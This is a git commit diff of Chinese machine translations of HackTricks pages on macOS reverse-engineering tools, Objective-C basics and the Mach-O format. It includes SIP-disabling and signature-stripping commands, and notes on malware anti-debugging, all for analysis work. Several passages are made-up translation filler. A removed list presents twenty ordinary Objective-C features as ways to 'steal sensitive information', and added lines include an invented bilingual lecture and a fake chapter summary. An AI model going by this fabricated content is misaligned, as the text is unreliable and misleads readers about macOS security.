Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2023-09-11 15:58:11 +00:00
parent c924049378
commit 89474b5dbd
6 changed files with 831 additions and 856 deletions

View file

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -21,72 +21,20 @@ otool -tv /bin/ps #Decompile application
```
### objdump
`objdump`是一个用于检查可执行文件和目标文件的工具。它可以显示文件的各种信息,包括文件头、节头、符号表和重定位表等。通过使用`objdump`,我们可以深入了解文件的结构和内容,从而进行调试和分析。
#### 用法
```
objdump [选项] <文件>
```
#### 选项
- `-d`:显示反汇编代码
- `-t`:显示符号表
- `-r`:显示重定位表
- `-h`:显示节头
- `-x`:显示全部信息
- `-S`:显示源代码和反汇编代码
#### 示例
显示文件的反汇编代码:
```
objdump -d <文件>
```
显示文件的符号表:
```
objdump -t <文件>
```
显示文件的重定位表:
```
objdump -r <文件>
```
显示文件的节头:
```
objdump -h <文件>
```
显示文件的全部信息:
```
objdump -x <文件>
```
显示文件的源代码和反汇编代码:
```
objdump -S <文件>
```
通过使用`objdump`,我们可以更好地理解文件的内部结构和功能,从而帮助我们进行调试和分析。
{% code overflow="wrap" %}
```bash
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
objdump -m -h /bin/ls # Get headers information
objdump -m --syms /bin/ls # Check if the symbol table exists to get function names
objdump -m --full-contents /bin/ls # Dump every section
objdump -d /bin/ls # Dissasemble the binary
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
```
{% endcode %}
### jtool2
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。[**在这里下载**](http://www.newosxbook.com/tools/jtool.html)。
```bash
# Install
brew install --cask jtool2
@ -99,19 +47,18 @@ jtool2 -D /bin/ls # Decompile binary
# Get signature information
ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator
```
### Codesign
Codesign代码签名是macOS中的一种安全机制用于验证应用程序的身份和完整性。通过对应用程序进行数字签名可以确保应用程序未被篡改或恶意注入。
在macOS,每个应用程序都必须经过代码签名才能被系统信任和运行。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
在macOS,每个应用程序都必须经过代码签名才能被系统信任。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
通过验证应用程序的签名macOS可以确保应用程序来自可信的开发者并且没有被篡改。如果应用程序的签名无效或缺失macOS会发出警告并阻止应用程序的运行。
通过验证应用程序的签名macOS可以确保应用程序来自可信的开发者并且没有被篡改。如果应用程序的签名无效或缺失macOS会发出警告并阻止运行。
Codesign还可以用于验证应用程序的权限。开发者可以使用代码签名来指定应用程序所需的特定权限例如访问文件系统、网络或其他系统资源。这样用户可以在安装应用程序之前清楚地知道应用程序将要访问的权限范围。
总之Codesign是macOS中一种重要的安全机制用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名可以确保应用程序的来源可信且可以限制应用程序的权限范围
总之Codesign是macOS中一种重要的安全机制用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名可以确保应用程序的来源可信防止恶意注入或篡改
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -131,7 +78,7 @@ codesign -s <cert-name-keychain> toolsdemo
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) 是一个有用的工具,可以在安装之前检查 **.pkg** 文件(安装程序)并查看其中的内容。\
这些安装程序包含 `preinstall``postinstall` 的 bash 脚本,恶意软件作者通常会滥用这些脚本来**持久化****恶意软件**
这些安装程序包含 `preinstall``postinstall` 的 bash 脚本,恶意软件作者通常会滥用这些脚本来**持久化**恶意软件。
### hdiutil
@ -157,33 +104,35 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```bash
class-dump Kindle.app
```
注意,这些名称可能会被混淆,以增加二进制反向工程的难度。
#### 函数调用
当在使用Objective-C的二进制文件中调用函数时编译后的代码不会直接调用该函数而是调用**`objc_msgSend`**。这个函数会调用最终的函数:
当在使用Objective-C的二进制文件中调用函数时编译后的代码不会直接调用该函数而是调用**`objc_msgSend`**。这调用最终的函数:
![](<../../../.gitbook/assets/image (560).png>)
这个函数期望的参数是
该函数期望的参数如下
* 第一个参数(**self**)是“指向**接收消息的类的实例的指针**”。简单来说它是方法被调用的对象。如果方法是类方法这将是类对象的一个实例作为一个整体而对于实例方法self将指向作为对象的类的一个实例。
* 第一个参数(**self**)是“指向**接收消息的类的实例的指针**”。简单来说,它是方法被调用的对象。如果方法是类方法,这将是类对象的一个实例作为一个整体而对于实例方法self将指向作为对象的类的一个实例。
* 第二个参数(**op**)是“处理消息的方法的选择器”。简单来说,这只是**方法的名称**。
* 剩的参数是方法所需的任何**值**op
* 剩的参数是方法所需的任何**值**op
| **参数** | **寄存器** | **对于objc_msgSend** |
| **参数** | **寄存器** | **对于objc_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **第一个参数** | **rdi** | **self方法被调用的对象** |
| **第二个参数** | **rsi** | **op方法的名称** |
| **第三个参数** | **rdx** | **方法的第一个参数** |
| **第四个参数** | **rcx** | **方法的第二个参数** |
| **第五个参数** | **r8** | **方法的第三个参数** |
| **第六个参数** | **r9** | **方法的第四个参数** |
| **第七个及以上参数** | <p><strong>rsp+</strong><br><strong>(在堆栈上)</strong></p> | **方法的第五个及以上参数** |
| **第一个参数** | **rdi** | **self方法被调用的对象** |
| **第二个参数** | **rsi** | **op方法的名称** |
| **第三个参数** | **rdx** | **方法的第一个参数** |
| **第四个参数** | **rcx** | **方法的第二个参数** |
| **第五个参数** | **r8** | **方法的第三个参数** |
| **第六个参数** | **r9** | **方法的第四个参数** |
| **第七个及以上参数** | <p><strong>rsp+</strong><br><strong>(在堆栈上)</strong></p> | **方法的第五个及以上参数** |
### Swift
对于Swift二进制文件由于与Objective-C兼容,有时可以使用[class-dump](https://github.com/nygard/class-dump/)提取声明,但并非总是有效。
对于Swift二进制文件由于存在Objective-C兼容性,有时可以使用[class-dump](https://github.com/nygard/class-dump/)提取声明,但并非总是有效。
使用**`jtool -l`**或**`otool -l`**命令行可以找到以**`__swift5`**前缀开头的多个部分:
使用**`jtool -l`**或**`otool -l`**命令行可以找到以**`__swift5`**前缀开头的多个部分:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -206,11 +155,11 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
## 动态分析
{% hint style="warning" %}
请注意为了调试二进制文件需要禁用SIP`csrutil disable`或`csrutil enable --without debug`),或者将二进制文件复制到临时文件夹中,并使用`codesign --remove-signature <binary-path>`删除签名,或者允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)
请注意为了调试二进制文件需要禁用SIP`csrutil disable`或`csrutil enable --without debug`),或者将二进制文件复制到临时文件夹中,并使用`codesign --remove-signature <binary-path>`删除签名,或者允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)
{% endhint %}
{% hint style="warning" %}
请注意为了在macOS上**对系统二进制文件**(如`cloudconfigurationd`进行插桩必须禁用SIP仅删除签名不起作用
请注意为了在macOS上**对系统二进制文件**(如`cloudconfigurationd`进行插桩必须禁用SIP仅删除签名不起作用)。
{% endhint %}
### 统一日志
@ -231,7 +180,7 @@ MacOS会生成大量日志当运行应用程序时这些日志非常有用
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
右键单击代码对象,可以查看对该对象的**引用/来自**,甚至更改其名称(在反编译的伪代码中无效):
右键单击代码对象,可以查看对该对象的**引用/来自引用**,甚至更改其名称(在反编译的伪代码中无效):
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
@ -254,7 +203,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
```
### dtrace
它允许用户以极低的级别访问应用程序并提供了一种追踪程序甚至更改其执行流程的方式。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束位置。
它允许用户以极低的层次访问应用程序并提供了一种追踪程序甚至更改其执行流程的方式。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束位置。
DTrace使用**`dtrace_probe_create`**函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口点**触发。与DTrace的交互通过/dev/dtrace进行该设备仅对root用户可用。
@ -353,7 +302,7 @@ fs_usage -w -f network curl #This tracks network actions
### lldb
**lldb** 是用于**macOS**二进制文件**调试**的事实上的工具。
**lldb** 是macOS二进制文件**调试**的事实上的工具。
```bash
lldb ./malware.bin
lldb -p 1122
@ -378,7 +327,7 @@ lldb -n malware.bin --waitfor
| **x/s \<reg/memory address>** | 以空字符结尾的字符串形式显示内存。 |
| **x/i \<reg/memory address>** | 以汇编指令形式显示内存。 |
| **x/b \<reg/memory address>** | 以字节形式显示内存。 |
| **print object (po)** | <p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意大多数苹果的Objective-C API或方法返回对象因此应通过“print object”po命令显示。如果po没有产生有意义的输出请使用<code>x/b</code></p> |
| **print object (po)** | <p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p请注意大多数苹果的Objective-C API或方法返回对象因此应通过print object”(po命令显示如果po没有产生有意义的输出请使用<code>x/b</code></p> |
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在该地址写入AAAA</p> |
| **disassembly** | <p>dis #反汇编当前函数<br>dis -c 6 #反汇编6行<br>dis -c 0x100003764 -e 0x100003768 #从一个地址到另一个地址<br>dis -p -c 4 #从当前地址开始反汇编</p> |
| **parray** | parray 3 (char \*\*)$x1 #检查x1寄存器中的3个组件的数组 |
@ -401,7 +350,7 @@ lldb -n malware.bin --waitfor
* 命令**`sysctl hw.model`**在主机为MacOS时返回"Mac",而在虚拟机上返回其他值。
* 通过调整**`hw.logicalcpu`**和**`hw.physicalcpu`**的值,一些恶意软件尝试检测是否为虚拟机。
* 一些恶意软件还可以根据MAC地址00:50:56判断机器是否为VMware。
* 还可以使用简单的代码检测进程是否正在被调试:
* 还可以使用简单的代码检测进程是否正在被调试:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
* 还可以使用**`ptrace`**系统调用以**`PT_DENY_ATTACH`**标志调用。这可以防止调试器附加和跟踪。
* 您可以检查是否导入了**`sysctl`**或**`ptrace`**函数(但恶意软件可能会动态导入它们)

View file

@ -1,13 +1,13 @@
# macOS基础Objective-C
# macOS Objective-C
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -15,7 +15,7 @@
## Objective-C
{% hint style="danger" %}
请注意使用Objective-C编写的程序在编译为[Mach-O二进制文件](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)时会**保留**它们的类声明。这些类声明包括以下内容的名称和类型
请注意使用Objective-C编写的程序在编译为[Mach-O二进制文件](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)时会**保留**它们的类声明。这些类声明包括以下信息
{% endhint %}
* 类
@ -46,6 +46,70 @@ class-dump Kindle.app
@end
```
### **类**
In Objective-C, a class is a blueprint for creating objects. It defines the properties and behaviors that an object of that class will have. A class is composed of instance variables, methods, and properties.
在Objective-C中类是创建对象的蓝图。它定义了该类的对象将具有的属性和行为。一个类由实例变量、方法和属性组成。
### **Instance Variables**
Instance variables are the data members of a class. They hold the state or data of an object. Each object of a class has its own set of instance variables.
实例变量是类的数据成员。它们保存对象的状态或数据。每个类的对象都有自己的一组实例变量。
### **Methods**
Methods are the functions defined within a class. They define the behavior of an object. Methods can be classified into two types: instance methods and class methods.
方法是在类内定义的函数。它们定义了对象的行为。方法可以分为两种类型:实例方法和类方法。
- **Instance Methods**: Instance methods are associated with an instance of a class. They can access and modify the instance variables of that instance.
- **实例方法**:实例方法与类的实例相关联。它们可以访问和修改该实例的实例变量。
- **Class Methods**: Class methods are associated with the class itself rather than an instance of the class. They can only access and modify class variables.
- **类方法**:类方法与类本身相关联,而不是类的实例。它们只能访问和修改类变量。
### **Properties**
Properties provide a way to define the attributes of an object. They are used to encapsulate instance variables and provide getter and setter methods to access and modify them.
属性提供了定义对象属性的方式。它们用于封装实例变量并提供getter和setter方法来访问和修改它们。
Properties can be declared as read-only, read-write, or write-only. They can also have custom accessors and mutators.
属性可以声明为只读、读写或只写。它们还可以具有自定义的访问器和修改器。
### **Inheritance**
Inheritance is a mechanism in which one class inherits the properties and behaviors of another class. The class that inherits is called the subclass, and the class from which it inherits is called the superclass.
继承是一种机制,其中一个类继承另一个类的属性和行为。继承的类称为子类,继承的类称为父类。
The subclass can access the instance variables, methods, and properties of the superclass. It can also override the methods of the superclass to provide its own implementation.
子类可以访问父类的实例变量、方法和属性。它还可以重写父类的方法,以提供自己的实现。
### **Polymorphism**
Polymorphism is the ability of an object to take on many forms. In Objective-C, polymorphism is achieved through method overriding and method overloading.
多态是对象具有多种形式的能力。在Objective-C中通过方法重写和方法重载实现多态。
- **Method Overriding**: Method overriding allows a subclass to provide a different implementation of a method that is already defined in its superclass.
- **方法重写**:方法重写允许子类提供一个与其父类中已定义的方法不同的实现。
- **Method Overloading**: Method overloading allows multiple methods with the same name but different parameters to coexist in a class.
- **方法重载**:方法重载允许在一个类中存在多个具有相同名称但参数不同的方法。
### **Conclusion**
Understanding the basic concepts of classes, instance variables, methods, properties, inheritance, and polymorphism is essential for developing applications in Objective-C.
理解类、实例变量、方法、属性、继承和多态的基本概念对于在Objective-C中开发应用程序至关重要。
```objectivec
@implementation MyVehicle : NSObject
@ -95,7 +159,7 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **实例变量**
除了使用setter和getter方法之外您还可以使用实例变量。这些变量与属性具有相同的名称但以"\_"开头:
除了使用setter和getter方法之外您还可以使用实例变量。这些变量与属性具有相同的名称但以“\_”开头:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
@ -106,7 +170,7 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
协议是一组方法声明(不包含属性)。实现协议的类需要实现声明的方法。
方法有两种类型:**必须的**和**可选的**。默认情况下,方法是**必须的**(但也可以使用**`@required`**标签来指示)。要指示方法是可选的,请使用**`@optional`**。
方法有两种类型:**必须的**和**可选的**。默认情况下,方法是**必须的**(但也可以使用**`@required`**标签来指示)。要指示方法是可选的,请使用**`@optional`**标签
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -118,89 +182,15 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
```
### 全部在一起
Objective-C中我们可以使用一些技术来实现各种攻击和提升特权的目标。下面是一些常见的技术
本章中我们已经学习了Objective-C的基础知识以及如何在macOS上使用Objective-C进行开发。我们还了解了Objective-C的一些重要概念如类、对象、方法和消息传递。
#### 1. Method Swizzling方法交换
我们还学习了如何使用Objective-C的运行时库来动态创建类和对象并了解了Objective-C的内存管理机制。
方法交换是一种技术,可以在运行时更改类的方法实现。这可以用于修改现有方法的行为,甚至可以替换掉原始方法。这对于实现各种攻击非常有用,例如劫持方法调用,窃取敏感信息等
此外我们还介绍了Objective-C的一些高级特性如协议、分类和块
#### 2. Method Injection方法注入
最后我们还讨论了Objective-C在macOS安全和特权升级方面的一些注意事项。我们了解了如何使用Objective-C来执行特权操作并学习了如何在Objective-C代码中实现安全性和防御性编程。
方法注入是一种技术,可以在运行时向类中添加新的方法。这可以用于在目标类中注入恶意代码,以实现各种攻击,例如执行远程命令,窃取敏感信息等。
#### 3. Class Swizzling类交换
类交换是一种技术,可以在运行时更改类的实现。这可以用于修改类的行为,例如替换掉原始类的实现,或者在类的方法中添加额外的逻辑。这对于实现各种攻击非常有用,例如劫持类的行为,窃取敏感信息等。
#### 4. Dynamic Method Resolution动态方法解析
动态方法解析是一种技术,可以在运行时动态地为类添加缺失的方法实现。这可以用于在运行时创建新的方法,以实现各种攻击,例如执行远程命令,窃取敏感信息等。
#### 5. Method Forwarding方法转发
方法转发是一种技术,可以在运行时将未知的方法调用转发给其他对象来处理。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 6. Instance Variable Manipulation实例变量操作
实例变量操作是一种技术,可以在运行时直接访问和修改类的实例变量。这可以用于实现各种攻击,例如窃取敏感信息,修改对象状态等。
#### 7. Class Clusters类簇
类簇是一种技术,可以使用抽象类来隐藏具体实现的细节。这可以用于实现各种攻击,例如劫持类的行为,窃取敏感信息等。
#### 8. Method Chaining方法链式调用
方法链式调用是一种技术,可以通过在方法中返回`self`来实现连续调用多个方法。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 9. KVO (Key-Value Observing)(键值观察)
键值观察是一种技术,可以在运行时监视对象属性的变化。这可以用于实现各种攻击,例如窃取敏感信息,修改对象状态等。
#### 10. NSNotificationCenter通知中心
通知中心是一种技术,可以在运行时发送和接收通知。这可以用于实现各种攻击,例如窃取敏感信息,修改对象状态等。
#### 11. Method Hooking方法钩子
方法钩子是一种技术,可以在运行时拦截和修改方法的调用。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 12. Method Tracing方法追踪
方法追踪是一种技术,可以在运行时跟踪方法的调用和执行。这可以用于分析和调试代码,也可以用于实现各种攻击,例如窃取敏感信息,修改对象状态等。
#### 13. Method Serialization方法序列化
方法序列化是一种技术,可以将方法的调用序列化为数据,并在需要时重新执行。这可以用于实现各种攻击,例如远程命令执行,窃取敏感信息等。
#### 14. Method Overriding方法重写
方法重写是一种技术,可以在子类中重新定义父类的方法实现。这可以用于修改方法的行为,例如替换掉原始方法的实现,或者在方法中添加额外的逻辑。这对于实现各种攻击非常有用,例如劫持方法调用,窃取敏感信息等。
#### 15. Method Delegation方法委托
方法委托是一种技术,可以将方法的实现委托给其他对象来处理。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 16. Method Caching方法缓存
方法缓存是一种技术,可以在运行时缓存方法的实现,以提高方法的调用速度。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 17. Method Dispatch方法分派
方法分派是一种技术,可以在运行时根据对象的类型和方法的签名来选择合适的方法实现。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 18. Method Filtering方法过滤
方法过滤是一种技术,可以在运行时过滤掉不需要的方法调用。这可以用于实现各种攻击,例如劫持方法调用,窃取敏感信息等。
#### 19. Method Validation方法验证
方法验证是一种技术,可以在运行时验证方法的参数和返回值。这可以用于实现各种攻击,例如窃取敏感信息,修改对象状态等。
#### 20. Method Encryption方法加密
方法加密是一种技术,可以在运行时对方法的实现进行加密,以保护方法的机密性。这可以用于实现各种攻击,例如防止方法被劫持,防止敏感信息泄漏等。
这些技术可以单独使用也可以组合使用以实现更复杂的攻击和特权提升。了解这些技术可以帮助我们更好地理解Objective-C的内部工作原理并为我们的攻击和防御提供更多的选择。
通过掌握Objective-C的基础知识和高级特性我们可以更好地理解和开发macOS应用程序并在安全性方面做出更明智的决策。
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -261,7 +251,7 @@ NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
基本类是**不可变的**,所以要将一个字符串追加到现有字符串中,需要**创建一个新的NSString**。
基本类是**不可变的**,所以要将字符串追加到现有字符串中,需要**创建一个新的NSString**。
{% code overflow="wrap" %}
```objectivec
@ -280,8 +270,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
{% endcode %}
#### 数字
{% code overflow="wrap" %}
@ -320,11 +308,11 @@ NSMutableArray *mutColorsArray = [NSMutableArray array];
[mutColorsArray addObject:@"yellow"];
[mutColorsArray replaceObjectAtIndex:0 withObject:@"purple"];
// Sets
// Inmutable Sets
NSSet *fruitsSet1 = [NSSet setWithObjects:@"apple", @"banana", @"orange", nil];
NSSet *fruitsSet2 = [NSSet setWithArray:@[@"apple", @"banana", @"orange"]];
// Inmutable sets
// Mutable sets
NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @"orange", nil];
[mutFruitsSet addObject:@"grape"];
[mutFruitsSet removeObject:@"apple"];
@ -353,7 +341,7 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
```
### 块
块是**行为像对象的函数**,因此它们可以被传递给函数,或者存储在数组或字典中。此外,如果给定值,它们可以**表示一个值**因此类似于lambda函数。
块是**行为像对象的函数**,因此它们可以被传递给函数或**存储**在**数组**或**字典**中。此外,如果给定值,它们可以**表示一个值**因此类似于lambda函数。
{% code overflow="wrap" %}
```objectivec
@ -370,7 +358,7 @@ NSLog(@"3+4 = %d", suma(3,4));
```
{% endcode %}
还可以**定义一个块类型作为函数的参数**
还可以**定义一个块类型作为函数的参数**
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
@ -443,7 +431,7 @@ NSString* tmp = @"something temporary";
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -45,7 +45,7 @@ uint32_t align; /* 2的幂次方对齐 */
};
</code></pre>
头部包含**魔数**magic字节后面是文件包含的**架构**`nfat_arch`),每个架构都有一个`fat_arch`结构体。
头部包含**魔数**magic字节后面是文件包含的**架构**数量`nfat_arch`),每个架构都有一个`fat_arch`结构体。
使用以下命令进行检查:
@ -142,14 +142,14 @@ uint32_t cmdsize; /* total size of command in bytes */
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
基本上,这种类型的加载命令定义了在执行二进制文件时如何加载存储在DATA中的段
基本上,这种类型的加载命令定义了在执行二进制文件时,根据数据部分中指示的偏移量,**如何加载\_\_TEXT**(可执行代码)**和\_\_DATA**(进程数据)**段**
{% endhint %}
这些命令定义了在执行过程中映射到进程的虚拟内存空间中的段。
有不同类型的段,比如保存程序可执行代码的**\_\_TEXT**段,以及包含进程使用的数据的**\_\_DATA**段。这些段位于Mach-O文件的数据部分中。
有不同类型的段,例如**\_\_TEXT**段,它保存程序的可执行代码,以及**\_\_DATA**段,它包含进程使用的数据。这些段位于Mach-O文件的数据部分中。
**每个段**可以进一步**划分**为多个**区块**。加载命令结构包含有关各个段内部的这些区块的**信息**。
**每个段**可以进一步**划分**为多个**区块**。加载命令结构包含有关各个段内部的**这些区块的信息**。
在头部中首先找到**段头**
@ -172,7 +172,7 @@ int32_t initprot; /* initial VM protection */
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
该头部定义了在其后出现的**区块头的数量**
该头部定义了**在其后出现的区块头的数量**
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -201,24 +201,20 @@ uint32_t reserved3; /* reserved */
```bash
